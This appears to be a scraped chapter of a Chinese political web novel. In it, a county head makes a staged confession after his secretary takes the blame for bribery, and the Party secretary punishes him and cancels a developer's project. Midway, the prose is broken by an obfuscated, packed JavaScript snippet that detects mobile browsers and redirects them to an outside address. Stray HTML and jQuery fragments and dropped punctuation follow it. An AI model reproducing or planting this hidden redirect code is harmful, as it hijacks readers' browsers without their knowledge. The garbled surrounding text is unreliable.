清河县委**会议室。
这是一场特别的**会,甚至可以说,是一场决定清河政坛未来格局的审判会。
长条形的会议桌两旁,坐满了清河县最有权势的十几个人。
但今天的气氛,却比以往任何一次都要凝重。
没有人交头接耳,没有人喝茶看报,所有人的目光都集中在会议桌的一端——那里坐着县长郑在民。
郑在民低着头,双手在桌下死死地绞在一起。短短几天,他仿佛老了十岁。曾经梳得一丝不苟的头发此刻有些凌乱,眼窝深陷,脸色灰败,完全没了往日意气风发的样子。
“关于何小光严重违纪违法的案件,县纪委已经初步查明。”
县纪委**何建国面无表情地念着手中的报告。
“何小光在担任县长秘书期间,利用职务之便,收受通达集团**巨额贿赂,包括现金五十万元,以及名表、购物卡等贵重物品若干。作为交换,他假借县长名义,违规为通达集团在拆迁、土地审批等方面提供便利……”
每一个字,都像是一记重锤,敲在郑在民的心上。
但他知道,这已经是不幸中的万幸。
何小光把所有的罪都扛下来了。
“假借县长名义”这几个字,就是他的免死金牌。
“……鉴于案情重大,影响恶劣,何小光已被移送司法机关。下面,请郑在民同志做检查。”
何建国念完报告,冷冷地看了郑在民一眼。
郑在民颤巍巍地站起来,手里拿着一份早就写好的检讨书。
“各位**,同志们……”
刚开口,他的声音就哽咽了。
“我……我有罪。”
郑在民摘下眼镜,擦了擦眼角挤出来的几滴鳄鱼泪。
“何小光是我一手提拔起来的干部。我一直以为他是个踏实肯干的好苗子,对他信任有加,甚至把很多重要的工作都交给他去办。可是我万万没想到,他竟然……竟然背着**出这种勾当!”
“痛心啊!我是真的痛心啊!”
郑在民捶胸顿足,表演得声情并茂。
“是我用人失察!是我监管不力!是我被蒙蔽了双眼!作为一县之长,我不仅没有带好队伍,反而让身边的人
成了害群之马给党和政府的形象抹了黑给清河的老百姓造成了巨大的伤害!”
“我对不起组织!对不起全县人民!”
说着郑在民深深地鞠了一躬久久没有直起身子。
会议室里一片死寂。
坐在主位上的林晓雅冷冷地看着这一幕。
她的眼神没有一丝波动既没有嘲讽也没有同情。
她知道这是一场戏。一场精心编排的戏。
郑在民的眼泪是假的悔恨是假的唯有那种断尾求生的求生欲是真的。
但她不得不承认这出戏演得很成功。
何小光一个人扛下了所有把郑在民摘得干干净净。除了一个“用人失察”的责任谁也拿他没办法。
“郑县长的检讨很深刻。”
良久林晓雅终于开口了。她的声音清冷打破了会议室的沉默。
“但是深刻的检讨不能代替责任的追究。何小光就在你的眼皮子底下收了**那么多钱干了那么多坏事你这个当县长的真的一点都没察觉?”
郑在民身子一僵依然保持着鞠躬的姿势汗水顺着额头滴在地板上。
“林**批评得对。”他颤声说道
这一招以退为进玩得很溜。
他知道只要咬死“不知情”最多也就是个党内处分。
林晓雅看着他那副伏低做小的样子心中冷笑。
以前的郑在民是何等的嚣张跋扈?在**会上经常跟她拍桌子在这清河县可以说是一手遮天。
可现在这只曾经不可一世的老虎终于被拔掉了牙齿。
“根据省委、**的指示精神。”
林晓雅拿起一份文件环视了一圈众人。
“鉴于郑在民同志在‘1·25’老城区**及何小光贪腐案中负有重要领导责任经****会研究决定给予郑在民同志党内严重警告处分。”
听到“党内严重警告”这几个字郑在民那颗悬在嗓子眼的心终于落了地。
虽然这个处分很重会影响他未来的
晋升,甚至可能让他这辈子的仕途就止步于此了。
但至少,他的帽子保住了。
他不用去坐牢了。
“我……坚决拥护组织的决定。
“另外。林晓雅话锋一转,“通达集团在清河的所有项目,即日起全部停工整顿。特别是‘清河国际商贸城’项目,鉴于其存在严重的违规审批和资金问题,予以撤销。相关土地收回,重新进行公开招标。
郑在民的手猛地抖了一下。
那是梁家的心血啊!
那个项目,梁家前期投入了数亿资金,光是打点关系和做前期工程就花了不少真金白银。现在项目一撤,这些钱全都打水漂了!
但他敢反对吗?</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135499|196253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他不敢。
现在的他,就是个戴罪之身,是只没牙的老虎。在这个会议室里,他已经失去了话语权。
“我……同意。郑在民咬着牙,艰难地吐出这三个字。
其他的**们也都眼观鼻,鼻观心,纷纷举手表示同意。
他们都是官场上的老油条,风向变得这么快,谁还看不出来?
郑在民这一系,算是彻底垮了。
以前那些围着郑在民转的墙头草,现在看他的眼神都变了,有的甚至带着一丝幸灾乐祸。
“散会。
林晓雅合上笔记本,站起身,第一个走出了会议室。她的步伐坚定有力,高跟鞋敲击地面的声音,在走廊里回荡。
郑在民瘫坐在椅子上,看着林晓雅离去的背影,眼中满是怨毒和绝望。
他知道,从今天开始,清河的天,真的变了。
……
会议室外。
齐学斌穿着便衣,正等在走廊的尽头。虽然还在养伤期间,但他实在坐不住,非要来看看结果。
看到林晓雅出来,他立刻迎了上去。
“**,怎么样?
林晓雅看了看四周,对他使了个眼色,两人走到了楼梯间的角落里。
“严重警告,留党察看。林晓雅低声说道,“项目撤了,地收回来了。
齐学斌点了点头,虽然早有预料,但还是有些不甘心。
“还是让他躲过一劫。
“这已经是最好的结果了。林晓雅叹了口气,“何小光把罪都顶了,证据链在县一级断了。要想再往上查,势必会触动省里那位的神经。现在这样,等于是在大家都能接受的底线上,切了梁家一块大肉。
“一块大肉?齐学斌冷笑,“好几个亿呢,确实是块大肉。估计梁家那位老爷子,今晚要睡不着觉了。
“何止是睡不着觉。林晓雅的嘴角也勾起一抹笑意,“听说梁国忠在家里砸了一套明代的瓷器。这回,他们是偷鸡不成蚀把米,赔了夫人又折兵。
两人相视一笑。
虽然是不完美的胜利,但终究是胜利。
这一仗,他们不仅保住了清河的老百姓,还狠狠地打击了梁家的嚣张气焰,重创了他们的经济基础。
“对了,学斌。林晓雅像是想起了什么,“接下来你就好好养伤。等伤好了,才能迎接更多的重担啊!
“不管什么样的重担,我齐学斌都接着。他挺直了腰杆,眼神清澈而坚定,“只要能多抓几个坏人,多办几件实事,我就算没白活这一回。